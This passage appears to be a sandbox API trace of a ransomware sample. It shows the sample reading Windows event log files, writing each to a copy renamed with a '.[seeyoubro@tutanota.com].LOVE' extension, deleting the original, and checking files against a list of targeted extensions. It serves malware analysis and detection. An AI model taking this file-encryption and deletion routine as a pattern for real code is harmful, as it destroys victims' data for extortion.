Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.203] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0206.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.203] lstrlenW (lpString=".doc") returned 4 [0206.203] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.203] lstrlenW (lpString=".docx") returned 5 [0206.203] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.203] lstrlenW (lpString=".pdf") returned 4 [0206.203] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.203] lstrlenW (lpString=".xls") returned 4 [0206.203] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.203] lstrlenW (lpString=".xlsx") returned 5 [0206.203] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.203] lstrlenW (lpString=".ppt") returned 4 [0206.204] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".zip") returned 4 [0206.204] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".rar") returned 4 [0206.204] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".bz2") returned 4 [0206.204] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".7z") returned 3 [0206.204] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".dbf") returned 4 [0206.204] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".1cd") returned 4 [0206.204] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".jpg") returned 4 [0206.204] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".doc") returned 4 [0206.204] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".docx") returned 5 [0206.204] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.204] lstrlenW (lpString=".pdf") returned 4 [0206.204] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".xls") returned 4 [0206.204] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".xlsx") returned 5 [0206.204] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.204] lstrlenW (lpString=".ppt") returned 4 [0206.204] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.204] lstrlenW (lpString=".zip") returned 4 [0206.204] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".rar") returned 4 [0206.204] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.204] lstrlenW (lpString=".bz2") returned 4 [0206.205] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.205] lstrlenW (lpString=".7z") returned 3 [0206.205] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.205] lstrlenW (lpString=".dbf") returned 4 [0206.205] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.205] lstrlenW (lpString=".1cd") returned 4 [0206.205] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0206.205] lstrlenW (lpString=".jpg") returned 4 [0206.205] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.205] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.205] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0206.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.205] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.205] CloseHandle (hObject=0x354) returned 1 [0206.205] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0206.205] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.206] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.206] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.206] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.206] GetLastError () returned 0x0 [0206.206] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.244] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.246] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.246] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x128, lpOverlapped=0x0) returned 1 [0206.246] SetEndOfFile (hFile=0x368) returned 1 [0206.246] CloseHandle (hObject=0x368) returned 1 [0206.248] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.249] SetEndOfFile (hFile=0x354) returned 1 [0206.250] CloseHandle (hObject=0x354) returned 1 [0206.250] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.250] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0206.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString=".doc") returned 4 [0206.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".docx") returned 5 [0206.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.251] lstrlenW (lpString=".pdf") returned 4 [0206.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".xls") returned 4 [0206.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".xlsx") returned 5 [0206.251] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.251] lstrlenW (lpString=".ppt") returned 4 [0206.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString=".zip") returned 4 [0206.251] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".rar") returned 4 [0206.251] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".bz2") returned 4 [0206.251] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString=".7z") returned 3 [0206.251] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString=".dbf") returned 4 [0206.251] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString=".1cd") returned 4 [0206.251] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.251] lstrlenW (lpString=".jpg") returned 4 [0206.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.252] lstrlenW (lpString=".doc") returned 4 [0206.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".docx") returned 5 [0206.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.252] lstrlenW (lpString=".pdf") returned 4 [0206.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".xls") returned 4 [0206.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".xlsx") returned 5 [0206.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.252] lstrlenW (lpString=".ppt") returned 4 [0206.252] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.252] lstrlenW (lpString=".zip") returned 4 [0206.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".rar") returned 4 [0206.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".bz2") returned 4 [0206.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.252] lstrlenW (lpString=".7z") returned 3 [0206.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.252] lstrlenW (lpString=".dbf") returned 4 [0206.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.253] lstrlenW (lpString=".1cd") returned 4 [0206.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0206.253] lstrlenW (lpString=".jpg") returned 4 [0206.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.253] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.253] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0206.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.253] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.253] CloseHandle (hObject=0x354) returned 1 [0206.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0206.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.253] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.254] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.257] GetLastError () returned 0x0 [0206.257] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.274] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.276] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.276] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x116, lpOverlapped=0x0) returned 1 [0206.276] SetEndOfFile (hFile=0x368) returned 1 [0206.276] CloseHandle (hObject=0x368) returned 1 [0206.277] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.277] SetEndOfFile (hFile=0x354) returned 1 [0206.278] CloseHandle (hObject=0x354) returned 1 [0206.281] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.281] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0206.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.281] lstrlenW (lpString=".doc") returned 4 [0206.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".docx") returned 5 [0206.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.281] lstrlenW (lpString=".pdf") returned 4 [0206.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".xls") returned 4 [0206.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".xlsx") returned 5 [0206.281] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.281] lstrlenW (lpString=".ppt") returned 4 [0206.281] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.281] lstrlenW (lpString=".zip") returned 4 [0206.281] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".rar") returned 4 [0206.281] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".bz2") returned 4 [0206.281] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.281] lstrlenW (lpString=".7z") returned 3 [0206.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".dbf") returned 4 [0206.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".1cd") returned 4 [0206.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".jpg") returned 4 [0206.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".doc") returned 4 [0206.282] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".docx") returned 5 [0206.282] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.282] lstrlenW (lpString=".pdf") returned 4 [0206.282] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".xls") returned 4 [0206.282] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".xlsx") returned 5 [0206.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.282] lstrlenW (lpString=".ppt") returned 4 [0206.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".zip") returned 4 [0206.282] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".rar") returned 4 [0206.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".bz2") returned 4 [0206.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString=".7z") returned 3 [0206.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".dbf") returned 4 [0206.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.282] lstrlenW (lpString=".1cd") returned 4 [0206.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0206.283] lstrlenW (lpString=".jpg") returned 4 [0206.283] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.283] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.283] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0206.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.283] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.283] CloseHandle (hObject=0x354) returned 1 [0206.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0206.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.283] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.283] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.284] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.284] GetLastError () returned 0x0 [0206.284] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.361] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.363] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.363] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x122, lpOverlapped=0x0) returned 1 [0206.363] SetEndOfFile (hFile=0x368) returned 1 [0206.363] CloseHandle (hObject=0x368) returned 1 [0206.366] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.367] SetEndOfFile (hFile=0x354) returned 1 [0206.368] CloseHandle (hObject=0x354) returned 1 [0206.368] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.368] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0206.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.368] lstrlenW (lpString=".doc") returned 4 [0206.368] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.368] lstrlenW (lpString=".docx") returned 5 [0206.368] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.368] lstrlenW (lpString=".pdf") returned 4 [0206.368] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.368] lstrlenW (lpString=".xls") returned 4 [0206.368] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.368] lstrlenW (lpString=".xlsx") returned 5 [0206.368] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.368] lstrlenW (lpString=".ppt") returned 4 [0206.368] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".zip") returned 4 [0206.369] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".rar") returned 4 [0206.369] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".bz2") returned 4 [0206.369] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".7z") returned 3 [0206.369] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".dbf") returned 4 [0206.369] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".1cd") returned 4 [0206.369] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".jpg") returned 4 [0206.369] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.369] lstrlenW 